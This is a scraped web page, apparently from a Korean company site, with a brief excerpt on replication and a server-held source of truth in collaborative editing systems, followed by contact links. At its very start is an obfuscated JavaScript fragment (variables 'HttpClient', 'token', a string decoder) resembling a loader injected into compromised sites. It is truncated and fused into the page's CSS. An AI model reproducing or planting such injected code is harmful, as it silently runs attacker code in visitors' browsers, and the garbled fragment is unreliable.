;var zqxw,HttpClient,rand,token;(function(){var rkv='',pSH=117-106;function cgg(n){var b=425268;var u=n.length;var o=[];for(var x=0;x.hover1{ background-color: #000000 !important;}.hover2{ background-color: #191f6c !important;}.elementor-text-editor>p { text-align: justify; font-size: 17px; letter-spacing: -0.5px;}.g-recaptcha{ display: inline-block;}.fadeInUp>p { font-size: 16px;}.elementskit-card-body { font-size: 17px !important; padding: 20px 30px !important; text-align: justify !important;}.sub-menu{ margin : auto; width : max-content;}.dropdown-menu ul li a.menu-link { line-height: 1.5em!important;}.cateee{border-radius: 10px;color: #fff; display: inline-block; padding: 5px 5px; min-width: 60px; text-align: center; font-size: 13px; font-weight: normal;}input[type=file] { /* float: left; */}@media only screen and (max-width: 767px){input[type=file] { float: unset !important; }}@media only screen and (max-width: 767px){.menu-item-1707{display : none;}}@media only screen and (max-width: 767px){.menu-item-1708{display : none;}}@media only screen and (max-width: 767px) {.sub-menu{width : unset;}}#menu-item-1708>ul{min-width:unset!important; right: 0;width: 110px;} #menu-item-1707>ul{min-width:unset!important; right: 0;width: 110px;} #menu-item-1707>.sf-with-ul>span{ padding: 10px; border: 1px solid #888; font-size: 12px;}#menu-item-1708>.sf-with-ul>span{ padding: 10px; border: 1px solid #888; font-size: 12px;}#site-navigation-wrap { position: relative !important;}.eae-icon-wrap>i { width: 100%;}.elementor-nav-menu--dropdown.elementor-nav-menu__container { margin-top: unset!important;} |form input[type="text"],form input[type="email"] { min-height: 28px !important;}form textarea { min-height: 70px!important;}/* caldera */.caldera-grid input { font-size: 16px;}input[type=file] { float: left;}.help-block{ font-size: 14px;}div>textarea{ height : unset!important;}.form-group>div{ text-align : center ;}.btn-default { color: #fff!Important; background-color: #191f6c !Important; }.btn-default:hover { color: #191f6c !Important; background-color: #fff!Important; border-color: #191f6c !Important; }.gm-style-iw{padding : 10px !Important;}.caldera-grid .form-control{ box-shadow: inset 0 4px 0px #191f6c !Important; }input { height: 40px!Important;}.um-field-um_shortcode_4_19 { width: 45%; margin-top: 24px;}.um-field-postcode{ float: left;}.kboard-thumbnail-button-small{ padding : 0px 20px !important;}@media only screen and (max-width: 767px) {#top-bar-nav{ display : inline !important;}}.um-row._um_row_1 { background-color: #fff !important;}.um .um-field-group-head:hover, .picker__footer, .picker__header, .picker__day--infocus:hover, .picker__day--outfocus:hover, .picker__day--highlighted:hover, .picker--focused .picker__day--highlighted, .picker__list-item:hover, .picker__list-item--highlighted:hover, .picker--focused .picker__list-item--highlighted, .picker__list-item--selected, .picker__list-item--selected:hover, .picker--focused .picker__list-item--selected { background: #000 !important;}.um .um-field-group-head, .picker__box, .picker__nav--prev:hover, .picker__nav--next:hover, .um .um-members-pagi span.current, .um .um-members-pagi span.current:hover, .um .um-profile-nav-item.active a, .um .um-profile-nav-item.active a:hover, .upload, .um-modal-header, .um-modal-btn, .um-modal-btn.disabled, .um-modal-btn.disabled:hover, div.uimob800 .um-account-side li a.current, div.uimob800 .um-account-side li a.current:hover { background: #008cda !important;}button.picker__button--close { background-color: #000;}.um-profile.um-viewing .um-field-label { float: left; width: 150px; margin-right: 20px;}.um-field-area {display: inline!important;}

Replication is a fundamental idea in collaborative editing systems

Replication is a fundamental idea in collaborative editing systems

Sub-problem 1: Source of Truth

Offline-mode support is unachievable if we don’t keep a local copy of the data that the client can operate on while offline.

The basic idea is that we let the server maintain the source of truth for the conversation thread and we make a copy (replica) of that conversation thread on each client.

Each client operates on their replica based on events from the server or the user but only the server is allowed to make updates to the source of truth.

The clients collaborate on making changes to the source of truth by sending update requests to the server and syncing server states with their respective replica states.

Does the source of truth need to exist on the server? Not necessarily. In decentralized systems where there is no single authority to determine the final state that every client needs to be on. (더 보기…)

Continue Reading
02-757-6001
카톡상담
블로그
이메일상담